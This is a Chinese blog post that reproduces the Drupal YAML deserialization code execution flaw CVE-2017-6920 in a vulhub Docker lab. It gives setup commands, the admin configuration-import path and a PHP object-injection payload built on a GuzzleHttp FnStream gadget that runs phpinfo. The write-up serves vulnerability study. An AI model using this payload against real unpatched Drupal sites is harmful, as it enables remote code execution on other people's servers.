您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由由內容管理系統和PHP開發框架共同構成,在GPL2.0及更新協議下發布。連續多年榮獲全球最佳CMS大獎,是基于PHP語言最著名的WEB應用程序。
2017年6月21日,Drupal官方發布了一個編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當所導致的一個遠程代碼執行漏洞。
漏洞影響范圍: Drupal < 8.3.4
下面僅作漏洞復現記錄與實現,利用流程如下:
一、漏洞環境
本次演示環境采用vulhub搭建,執行以下命令搭建
cd /drupal/CVE-2017-6920/
docker-compose up -d
之后開啟了8080端口,訪問之后正常安裝即可,由于沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫
安裝完畢之后還需要安裝yaml擴展,首先執行docker ps查看容器id
之后執行docker exec -it a3df54b9def6 bash 進入容器命令行后依次執行以下命令
# 換鏡像源,默認帶vim編輯器,所以用cat換源,可以換成自己喜歡的源 cat > sources.list << EOF deb http://mirrors.163.com/debian/ jessie main non-free contrib deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb-src http://mirrors.163.com/debian/ jessie main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib EOF # 安裝依賴 apt update apt-get -y install gcc make autoconf libc-dev pkg-config apt-get -y install libyaml-dev # 安裝yaml擴展 pecl install yaml docker-php-ext-enable yaml.so # 啟用 yaml.decode_php 否則無法復現成功 echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini # 退出容器 exit # 重啟容器,CONTAINER換成自己的容器ID docker restart CONTAINER
之后便可以開始復現漏洞了
漏洞鏈接: http://192.168.101.152:8080/
訪問之后如下圖,注意,復現該漏洞需要登錄管理員賬戶
二、漏洞復現
登錄一個管理賬戶
訪問鏈接http://192.168.101.152:8080/admin/config/development/configuration/single/import
之后Configuration type選擇為Simple configuration,Configuration name可以隨便填寫,Paste your configuration here中寫入poc:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
之后點擊左下角的Import按鈕便可以觸發漏洞
復現結束。
關于如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。